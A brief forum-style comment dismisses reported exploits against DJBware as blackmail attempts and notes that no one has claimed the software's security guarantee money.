    The "exploits" reported are idiotic attempts to blackmail DJBware as evident from the mailing lists, author's responses, and people who know the software well and don't jump on the blackmail bandwagon. No one has claimed the security guarantee money yet.